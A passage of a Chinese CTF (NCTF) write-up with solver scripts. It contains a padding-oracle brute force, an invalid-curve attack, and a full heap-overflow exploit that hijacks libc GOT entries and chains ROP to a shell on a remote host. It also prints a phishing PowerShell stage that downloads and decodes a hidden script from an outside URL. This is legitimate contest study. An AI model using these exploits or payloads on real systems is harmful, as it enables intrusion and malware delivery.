0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
gx = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
hx = [292, 374, 91, 384, 263, 330, 77, 497, 294, 141, 485, 464, 46, 478, 315, 100, 287, 1, 337, 477, 451, 387, 340, 370, 384, 19, 158, 440, 377, 177, 235, 340, 166, 359, 488, 332, 252, 443, 256, 453, 33, 282, 175, 18, 218, 208, 414, 147, 12, 468, 155, 34, 109, 390, 312, 472, 345, 176, 9, 184, 100, 414, 293, 366, 132, 128, 223, 242, 137, 223, 268, 259, 446, 57, 463, 344, 459, 115, 509, 510, 82, 42, 408, 139, 341, 351, 511, 339, 317, 139, 317, 297, 288, 58, 33, 120, 244, 194, 44, 128, 278, 130, 449, 282, 274, 376, 209, 240, 148, 426, 244, 319, 251, 438, 317, 166, 161, 37, 361, 468, 172, 116, 211, 64, 446, 162, 301, 447, 92, 325, 285, 4, 8, 160, 382, 365, 413, 150, 141, 323, 107, 225, 466, 93, 86, 219, 174, 198, 155, 88, 194, 259, 140, 36, 82, 462, 182, 496, 250, 337, 39, 435, 448, 365, 262, 146, 89, 283, 195, 395, 216, 159, 312, 53, 70, 485, 368, 130, 491, 474, 325, 4, 205, 1, 292, 330, 186, 66, 137, 291, 452, 236, 25, 114, 407, 125, 343, 2, 304, 267, 459, 432, 129, 21, 197, 51, 26, 342, 457, 163, 51, 52, 82, 229, 332, 72, 408, 242, 218, 286, 368, 503, 498, 434, 135, 311, 321, 205, 269, 318, 19, 119, 422, 425, 463, 368, 317, 99, 178, 390, 8, 127, 156, 27, 332, 437, 87, 187, 92, 115, 380, 54, 236,
287, 259, 386, 391, 94, 312, 454, 459, 340, 382, 424, 25, 318, 47, 249, 115, 20, 89, 82, 377, 328, 231, 298, 402, 336, 452, 264, 265, 83, 254, 156, 449, 34, 99, 412, 101, 183, 38, 142, 231, 181, 495, 6, 327, 278, 92, 452, 372, 12, 91, 102, 277, 98, 418, 22, 32, 493, 50, 374, 230, 479, 496, 6, 382, 300, 496, 157, 1, 221, 418, 381, 275, 391, 199, 472, 5, 222, 448, 377, 102, 468, 94, 35, 6, 6, 464, 452, 453, 354, 277, 425, 120, 501, 172, 222, 314, 362, 6, 105, 387, 77, 14, 112, 289, 358, 495, 350, 411, 378, 30, 89, 115, 171, 42, 32, 427, 125, 420, 486, 435, 151, 234, 416, 428, 425, 250, 142, 301, 245, 154, 338, 223, 292, 27, 194, 220, 34, 283, 255, 53, 5, 420, 134, 351, 216, 92, 242, 39, 454, 96, 239, 390, 182, 368, 463, 176, 187, 25, 122, 441, 54, 171, 426, 435, 318, 345, 166, 224, 258, 246, 349, 50, 400, 381, 236, 315, 439, 249, 201, 262, 95, 210, 327, 199, 205, 402, 175, 280, 337, 388, 205, 336, 52, 68, 364, 293, 462, 388, 354, 169, 163, 72, 374, 220, 355, 275, 36, 208, 198, 363, 369, 344, 61, 13, 230, 196, 190, 463, 351, 37, 276, 336, 110, 352, 56, 117, 376, 500, 373, 438, 309, 496, 400, 76, 169, 447, 434, 255, 456, 511, 414, 83, 369, 174, 291, 213, 227, 254, 186, 145, 402, 265, 13, 20, 212, 442]
e = [219, 149, 491, 115, 68, 464, 91, 223, 480, 506, 103, 373, 19, 52, 368, 467, 304, 380, 495, 372, 506, 318, 320, 263, 120, 126, 165, 271, 435, 378, 443, 261, 336, 381, 57, 360, 36, 155, 424, 458, 84, 80, 187, 261, 501, 279, 167, 13, 241, 85, 214, 133, 483, 374, 430, 401, 265, 127, 497, 405, 60, 34, 81, 422, 423, 200, 276, 424, 245, 437, 31, 193, 282, 154, 93, 13, 499, 190, 1, 304, 415, 189, 82, 472, 13, 488, 366, 364, 319, 121, 322, 120, 468, 134, 305, 228, 288, 284, 33, 430, 125, 366, 212, 207, 227, 201, 286, 377, 376, 57, 336, 379, 101, 461, 375, 101, 475, 126, 306, 73, 88, 1, 149, 378, 381, 129, 402, 341, 390, 57, 305, 139, 436, 101, 386, 460, 43, 468, 9, 449, 255, 184, 374, 466, 429, 167, 101, 247, 183, 159, 346, 45, 79, 192, 259, 32, 140, 151, 16, 214, 42, 450, 111, 7, 303, 286, 435, 491, 339, 248, 114, 185, 103, 81, 414, 100, 485, 428, 137, 13, 243, 202, 62, 208, 136, 376, 88, 158, 377, 404, 355, 194, 452, 373, 107, 290, 89, 489, 259, 462, 169, 235, 86, 214, 333, 472, 343, 487, 19, 371, 203, 234, 315, 339, 430, 133, 96, 161, 278, 13, 20, 87, 303, 466, 353, 139, 395, 131, 298, 85, 144, 244, 150, 488, 254, 284, 89, 300, 297, 288, 245, 439, 307, 222, 110, 343, 318, 202, 429, 81, 203, 468, 144, 140,
480, 370, 501, 14, 490, 278, 493, 390, 214, 108, 174, 150, 287, 197, 497, 374, 420, 298, 222, 188, 146, 298, 466, 459, 456, 16, 131, 253, 153, 481, 342, 498, 173, 12, 452, 197, 233, 18, 439, 332, 185, 48, 330, 4, 99, 105, 75, 306, 174, 492, 131, 39, 126, 491, 79, 145, 186, 493, 23, 230, 195, 118, 310, 173, 244, 80, 25, 502, 373, 457, 275, 282, 26, 206, 14, 181, 61, 391, 454, 417, 370, 70, 413, 389, 434, 400, 88, 417, 364, 458, 496, 425, 12, 280, 102, 265, 471, 43, 257, 327, 10, 334, 239, 344, 77, 298, 140, 287, 260, 194, 431, 65, 304, 302, 210, 393, 473, 463, 312, 255, 368, 476, 462, 390, 412, 266, 138, 410, 246, 101, 460, 307, 123, 4, 240, 502, 115, 147, 370, 241, 222, 495, 109, 51, 138, 354, 447, 282, 434, 280, 275, 404, 214, 68, 77, 167, 302, 95, 462, 16, 184, 213, 227, 130, 50, 405, 30, 353, 24, 143, 100, 163, 212, 388, 283, 252, 187, 247, 190, 163, 252, 169, 267, 363, 72, 399, 195, 215, 103, 60, 466, 318, 71, 193, 449, 65, 358, 443, 260, 253, 46, 5, 416, 115, 390, 15, 120, 384, 50, 122, 87, 428, 282, 464, 83, 80, 401, 8, 175, 457, 301, 63, 205, 402, 468, 368, 510, 488, 345, 103, 306, 387, 34, 119, 459, 43, 319, 264, 184, 406, 407, 358, 242, 42, 241, 34, 118, 477, 117, 325, 511, 499, 365, 192, 507]
ntru = NTRU(N=509, p=3, q=512, d=3)
ntru.setKey(fx, gx)
m = ntru.decrypt(e)
a = ""
flag = [1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1,
1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1]
for i in flag:
if i < 0:
break
a += str(i)
a = int(a, 2)
print(long_to_bytes(a))
# b'NCTF{0e301384-a06c-11ee-959d-b39f60b9e252}'
Code
一开始不知道椭圆曲线参数,找到基本原题:https://github.com/sajjadium/ctf-archives/blob/404a90a81cc649d39a661f65ac8afd61d6acb02d/ctfs/LakeCTF/2023/Quals/crypto/KeySharer/chal.py#L74,猜测出题人应该没换曲线,就用了NISP 192-P 的参数试着打了一下,后半部分对四个点先分别求解 dlp,后通过 CRT 求出 PK 即可。
import math
from pwn import *
from itertools import product
import string
from Crypto.Cipher import AES
from hashlib import sha256
from random import getrandbits
from ast import literal_eval
from Crypto.Util.number import *
context(log_level='debug')
table = string.ascii_letters+string.digits
io=remote('115.159.221.202','11112')
io.recvuntil(b"sha256(XXXX+")
alphabet = string.ascii_letters + string.digits
lattar_part=io.recv(16).decode('utf8')
io.recvuntil(b'== ')
h=io.recvline().strip().decode('utf8')
print(lattar_part,h)
io.recvuntil(b'[+] Plz tell me XXXX:')
bruteforce=[ ''.join(prefix)+lattar_part for prefix in product(alphabet,repeat=4)]
for proof in bruteforce:
if sha256(proof.encode()).hexdigest()==h:
io.sendline(proof.encode()[:4])
print("proof done")
io.recvuntil(b'secret is ')
secret=io.recvline()
print(secret)
io.recvuntil(b'public key is ')
alice=io.recvline()
print(alice)
# alice=(5004848802772206961858660797854121422910786666485134907201,3293398268646783779018537430911795294180825762740220781587)
io.recv()
p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
a = 0xfffffffffffffffffffffffffffffffefffffffffffffffc
b = 0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1
primes = []
logs = []
bs = []
while len(bs) < 4:
b = randint(1, p)
E = EllipticCurve(GF(p), [a, b])
order = E.order()
factors = prime_factors(order)
small_factors = []
for factor in factors:
if factor <= 2 ** 30:
small_factors.append(factor)
prod = Integer(math.prod(small_factors))
if prod.nbits() < 48: # we need 192 bits in 4 payloads
continue
print('Found decent curve with b=', b)
bs.append(b)
G = E.gen(0) * int(order / prod)
print(G)
io.sendline(str(G[0]).encode())
# send(s, str(G[0]))
io.recvline()
io.sendline(str(G[1]).encode())
io.recvline()
Q0=io.recvuntil(b',')[2:-1]
print(Q0)
Q1=io.recvuntil(b')')[:-1]
print(Q1)
io.recv()
Q = E(int(Q0), int(Q1))
log = G.discrete_log(Q)
print(f"DL found: {log}")
for prime in small_factors:
primes.append(prime)
logs.append(log % prime)
PK = CRT_list(logs, primes)
print(PK)
print(secret)
secret="394e2b257b1f954a40d1e01e5c434b122c421799228c004bd8852d0c431469ad2147901450dddf3d55e3b4262083a2a6"
PK=5381741412404050694156647445378805190277637284892179717390
key = long_to_bytes(PK)[:16]
Cipher = AES.new(key, AES.MODE_ECB)
secret=bytes.fromhex(secret)
enc = Cipher.decrypt(secret)
print(enc)
# b'NCTF{ca93509d-9ecf-11ee-9b92-b025aa41becb}\x00\x00\x00\x00\x00\x00'
Steins Gate
按着 hitcon 的 careless padding 的脚本硬改的,当时队内另一个师傅就是手爆的,并且没用到已知的 iv 和明文。此题与那题的区别也在于此,一是不知道了 v 和第一块明文分组,二是对 m 的 pad 方式发生了改变。
整体思路与 careless padding 相似。通过构造一个偏移来使得服务端解密得到的明文每一位全一样,偏移是脚本中的 iv 变量,发送给服务端的 iv 进行解密的是 iv1。具体从末两位开始爆破。通过回显我们可以知道是否攻击成功,以此类推得到这个偏移。本地测试时使用了两个 256 循环,但是打远程发现时间完全不够,因此对外层循环做了处理,通过每一轮得到的 2 位 iv,一位作为 pre 预测位,该位的真实值在 pre 附近,因此节省了爆破时间。
现在已知明文的每一位都一样,接下来遍历所有明文情况,再与 iv 进行异或就得到了 flag。
以下代码需手动爆破 3 段 flag。
from Crypto.Util.number import *
from pwn import *
import math
from pwn import *
from tqdm import tqdm
from itertools import product
import string
from Crypto.Cipher import AES
from hashlib import sha256
from random import getrandbits
from ast import literal_eval
from Crypto.Util.number import *
from string import printable
io = remote("115.159.221.202", "11111")
# io = remote("127.0.0.1","10002")
# io=process(['python','./hit.py'])
# context(log_level='debug')
table = string.ascii_letters+string.digits
#
io.recvuntil(b"sha256(XXXX+")
alphabet = string.ascii_letters + string.digits
lattar_part=io.recv(16).decode('utf8')
io.recvuntil(b'== ')
h=io.recvline().strip().decode('utf8')
print(lattar_part,h)
io.recvuntil(b'[+] Plz tell me XXXX:')
#
bruteforce=[ ''.join(prefix)+lattar_part for prefix in product(alphabet,repeat=4)]
for proof in bruteforce:
if sha256(proof.encode()).hexdigest()==h:
io.sendline(proof.encode()[:4])
print("proof done")
# #
def check(c):
io.sendline(c.encode())
res = io.recvuntil(b'Try unlock:').decode()
if "Bad key... do you even try?" in res:
return True
elif "Don't put that weirdo in me!" in res:
return False
else:
# print(res)
# print(c)
return "final"
res = io.recvuntil(b'Try unlock:').decode()
print(res)
enc_key = re.findall(r'encrypted key:([0-9a-f]+)', res)[0]
enc=enc_key
iv0 = int(enc[0*32:1 * 32], 16)
enc0 = enc[1 * 32:(1 + 1) * 32]
wyk="6533646060646a3663"
pre="3e"
first=['62','63']
for aa in range(9,13):
print(aa)
if aa==1:
wyk=first[1]
ff=0
# 40-60,90-105
for i in tqdm(range(50,60)):
for j in (range(256)):
k0 = "{:02x}".format(i)
k1 = "{:02x}".format(j)
iv=(28-2*aa)*'1'+k1+k0+wyk
iv1= "{:032x}".format(int(iv,16)^iv0)
if check(iv1 + enc0) == True:
if aa==0:
print(aa)
first.append(iv[-2:])
if aa!=0 and k0==pre:
continue
pre=iv[-(aa+2)*2:-(aa+1)*2]
# #
#
print(iv)
if aa>0:
wyk=iv[-(aa+1)*2:]
ff=1
if ff==1:
break
if ff==1:
break
# wyk="151017464441114341420e454a"
# pre="42"
# wyk="4c1b4a1e181e484b4f194f1b1d"
# wyk="4d1a4b1f191f494a4e184e1a1c"
for i in range(256):
k0 = "{:02x}".format(i)
iv = 4 * '1'+k0+wyk
iv1= "{:032x}".format(int(iv,16)^iv0)
if check(iv1 + enc0) == True:
# print(iv)
# if k0==pre:
# continue
x='11'+k0+wyk
print("1dasdsads",x)
wyk=x
# wyk="11424c1b4a1e181e484b4f194f1b1d"
for i in tqdm(range(256)):
k0 = "{:02x}".format(i)
iv = k0+wyk
iv1 = "{:032x}".format(int(iv, 16) ^ iv0)
if check(iv1 + enc0) == 'final':
print(iv)
tmp=int(iv,16)
for x in range(256):
m = "{:02x}".format(x)
m*=16
flag=tmp^int(m,16)
f=1
flag=long_to_bytes(flag)
for i in flag:
if i not in b'0123456789abcdefghijklmnopqrstuvwxyzNCTF{}':
f=0
break
if f==1:
print(flag)
# i=68:111111111111111111111111110d444b
# i=15:111111111111111111111111410f444b
# i=67:111111111111111111111142430f444b
# i=64:111111111111111111114040430f444b
# i=66:111111111111111111124240430f444b
# i=16:111111111111111142104240430f444b
# i=64:111111111111114740104240430f444b
# i=69:111111111111454540104240430f444b
# i=71:111111111114474540104240430f444b
# i=22:111111111316474540104240430f444b
# i=17:111111161116474540104240430f444b
# i=20:111149141116474540104240430f444b
# wyk="114a141116474540104240430f444b"
# wyk="114a151017464441114341420e454a"
# ab9fcd572b021}69
# i=27 11111111111111111111111111411b1d
# i=79 111111111111111111111111174f1b1d
# i=25 111111111111111111111141194f1b1d
# i=79 11111111111111111111454f194f1b1d
# i=75 111111111111111111464b4f194f1b1d
# i=72 111111111111111110484b4f194f1b1d
# i=30 11111111111111161e484b4f194f1b1d
# i=24 11111111111110181e484b4f194f1b1d
# i=30 1111111111441e181e484b4f194f1b1d
# i=74 11111111154a1e181e484b4f194f1b1d
# i=27 111111421b4a1e181e484b4f194f1b1d
# i=76 1111424c1b4a1e181e484b4f194f1b1d
# 69ee2c717abf0f24
# b'69ee2c717abf0f24'
# b'ej66a0dbd215c5ag'
# b'cl00g6bdb473e3ga'
# i=54 11111111111111111111111111673663
# i=106 111111111111111111111111696a3663
# i=100 11111111111111111111116d646a3663
# i=96 111111111111111111116d60646a3663
# i=96 111111111111111111696060646a3663
# i=100 11111111111111113e646060646a3663
# i=55 111111111111116833646060646a3663
# i=101 1111111111113e6533646060646a3663
# i=51 11111111113e336533646060646a3663
# i=51 111111112433336533646060646a3663
# NCTF{aa7a62268d1
# NCTF{aa7a62268d169ee2c717abf0f24ab9fcd572b021}
Pwn
npointment
add 里面有个类似 CVE-2023-4911 的溢出, 可以溢出下面 chunk 把 \x00 覆盖掉泄漏地址。最后 libc got hijaking
#!/home/seven/.venv/bin/python3
from pwn import *
# pyright: reportUndefinedVariable=false
context.terminal = ['tmux', 'splitw', '-h']
context.os = 'linux'
context.arch = 'amd64'
context.timeout = 5
debug = 0
if debug:
io = process('./npointment-release')
else:
io = remote('8.130.35.16',58001)
libc = ELF('./libc.so.6')
s = '''
'''
def p(script = '0'):
if debug:
if script == '0':
gdb.attach(io, s)
pause()
else:
gdb.attach(io, s + script)
else:
pause()
leak = lambda name, address: log.success("{} --> {}".format(name, hex(address)))
def add(size):
payload = b"add content=date=" + b'a' * (size-5-1)
io.sendlineafter(b"$ ", payload )
def show():
io.sendlineafter(b"$ ", b"show ")
def dele(idx):
io.sendlineafter(b"$ ", b"delete index=%d"%idx)
while True:
try:
# leak heap
add(1) # 0
add(1) # 1
add(1) # 2
dele(2)
dele(1)
io.sendlineafter(b"$ ", b"add content=" ) #1
dele(0)
io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*(2) ) #0 cause #1 corrputed
show()
heap_base = u64(io.recvuntil(b'\x55')[-6:] + b'\x00'*2)
h1 = heap_base >> (9*4)
h2 = (heap_base >> (6*4)) & 0xfff
h3 = (heap_base >> (4*4)) & 0xff
h2 ^= h1
h3 ^= h2 >> 4
heap_base = (h1 << 36) | (h2<<24) | (h3 << 16)
#p()
#warning("input heap_base")
#heap_base = int(input(), 16)
leak("heap_base", heap_base)
# leak libc
add(1) #2
add(0x418) #3
add(0x418) #4
dele(3)
dele(4)
io.sendlineafter(b"$ ", b"add content=" ) #3
dele(2)
io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*(2) ) #2 cause #3 corrputed
show()
libc.address = u64(io.recvuntil(b'\x7f')[-6:] + b'\x00'*2) - 0x1fdd65
#p()
#warning("input libc.address")
#libc.address = int(input(), 16)
leak("libc.address", libc.address)
# libc got hijacking
key = heap_base >> 12
## overwrite wmemset.got with `gets`
wmemset_got = libc.address + 0x1FE0B8
add(0x19) #4
add(1) #5
add(1) #6
add(0x50)#7
dele(7)
dele(5)
dele(6)
dele(4)
target = wmemset_got - 0x8
io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*29+ b'\x00'*6 + p64(target ^ key) ) #4 cause #5 corrputed
add(1) # 5
#p()
io.sendlineafter(b"$ ", b"add content="+ p64(0xdeadc0dedeadbeaf)+p64(libc.sym['gets']) ) #6
success("overwrite wmemset.got with `gets`")
## overwrite strncpy.got with:
'''
.text:00000000000D60A8 pop rbx
.text:00000000000D60A9 pop rbp
.text:00000000000D60AA pop r12
.text:00000000000D60AC pop r13
.text:00000000000D60AE jmp j_wmemset_0
'''
strncpy_got = libc.address + 0x1FE078
value = libc.address + 0x00000000000D60A8
target = strncpy_got - 0x8
add(0x19) #7
add(1) #8
add(1) #9
add(0x60) #10
dele(10)
dele(8)
dele(9)
dele(7)
io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*29+ b'\x00'*6 + p64(target ^ key) )
add(1)
#p()
io.sendlineafter(b"$ ", b"add content="+ p64(0xdeadc0dedeadbeaf)+p64(value) )
## overwrite strchrnul.got with:
'''
.text:0000000000177D59 lea rdi, [rsp+18h]
.text:0000000000177D5E mov edx, 20h ; ' '
.text:0000000000177D63 call j_strncpy
'''
strchrnul_got = libc.address + 0x1FE0C8
value = libc.address + 0x0000000000177D59
target = strchrnul_got - 0x8
add(0x19) #10
add(1) #11
add(1) #12
add(0x70) #13
dele(13)
dele(11)
dele(12)
dele(10)
io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*29+ b'\x00'*6 + p64(target ^ key) )
add(1)
#p('b gets\nc')
io.sendlineafter(b"$ ", b"add content="+ p64(0xdeadc0dedeadbeaf)+p64(value) )
warning("waiting to send rop")
pause()
pop_rdi = libc.address + 0x0000000000028715 # pop rdi ; ret
bin_sh = libc.address + 0x1c041b
ret = libc.address + 0x0000000000026a3e # ret
ROP = flat(
ret, ret, pop_rdi, bin_sh, libc.sym['system']
)
io.sendline(ROP)
# nctf{npointment-test-flag-fc94ed89}
io.sendline(b"cat /flag")
except Exception:
io.close()
if debug:
io = process('./npointment-release')
else:
io = remote('8.130.35.16',58001)
else:
break
context.log_level = 'debug'
io.interactive()
Misc
Jump For Signin
玩就好了,跳一跳头顶会出现二维码,扫描后是 flag

Jump For Flag
上一题的升级版,现在跳跃之后每次只给几个像素

猜测可能也是从一个二维码里随机提取几位生成的,扔到 ILSPY 里解包源码,找到像素的生成逻辑CubeGenerator.cs
using UnityEngine;
public class CubeGenerator : MonoBehaviour
{
public GameObject cube;
public int[][] cubes_all = new int[961][]
{
new int[4] { 13, 100, 3, 1 },
new int[4] { 2, 100, 4, 1 },
new int[4] { 8, 100, 10, 1 },
new int[4] { 19, 100, 16, 0 },
new int[4] { 28, 100, 20, 1 },
new int[4] { 21, 100, 6, 0 },
... // 剩下的全是像素
};
private void Start()
{
}
private void makecube(int x, int y, int z, string col)
{
GameObject obj = Object.Instantiate(cube, new Vector3(x, y, z), Quaternion.identity);
MeshRenderer component = obj.GetComponent<MeshRenderer>();
if (col == "black")
{
component.material.color = Color.black;
}
else
{
component.material.color = Color.white;
}
obj.GetComponent<Rigidbody>().AddForce(new Vector3(Random.Range(-10f, 10f), 0f, Random.Range(-10f, 10f)), ForceMode.Impulse);
}
}
从makecube()能理解每个像素生成都是从上面的cubes_all中获得的,每个数据的四位分别代表 xyz 坐标和黑白,写脚本生成完整的二维码扫描即可
exp.py
from PIL import Image, ImageDraw
# Example array: {x, y, color}
data = [
[13, 3, 1],
[2, 4, 1],
[8, 10, 1],
[19, 16, 0],
[28, 20, 1],
[21, 6, 0],
[7, 19, 0],
# 一共应该是961个数据,对应31*31
# Add more data entries as needed
]
# 找到数据中的最大x和y值
max_x = max(data, key=lambda item: item[0])[0]
max_y = max(data, key=lambda item: item[1])[1]
# 创建一个白色的图像
image = Image.new("1", (max_x + 1, max_y + 1), color=1)
# 在图像上绘制黑色点
for point in data:
x, y, color = point
image.putpixel((x, y), color)
# 保存图像
image.save("generated_image.png")
generated_image.png:
![]()
NCTF2077: jackpot
唉,更新,唉
把附件改后缀为.mht打开,能下载到target.exe,猜测是钓鱼邮件的钓鱼应用,扔到 010 发现是.NET,还是用ILSPY解包得到源码,后一半 flag 直接在3.ps1中可读,查找其他地方都没有可能的 flag,所以研究3.ps1后半段对图片的处理,是从蓝通道和绿通道逐像素进行位运算得到 powershell 的脚本,将 IEX 替换为 Write-Host 输出
# 3.ps1
$flag = "-873e-12a9595bbce8}";
sal a New-Object; Add-Type -A System.Drawing; $g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://zysgmzb.club/hello/nctf.png")); $o = a Byte[] 31720; (0..12) | % { foreach ($x in(0..2439)) { $p = $g.GetPixel($x, $_); $o[$_ * 2440 + $x] = ([math]::Floor(($p.B-band15) * 16)-bor($p.G -band 15)) } }; Write-Host([System.Text.Encoding]::ASCII.GetString($o[0..31558]))
得到的内容还是被混淆过的,根据文件名能猜到可能是被混淆了三次,一层层解混淆即可,在脚本开头和结尾的”???+‘X‘“其实都是 IEX,让执行改为输出和上面一样直接替换成 Write-Host
# 3_1.ps1
(NEW-oBject System.Io.sTrEamreadEr((NEW-oBject IO.coMpreSsiON.DeFLATestReAm([iO.MEmorYStrEaM] 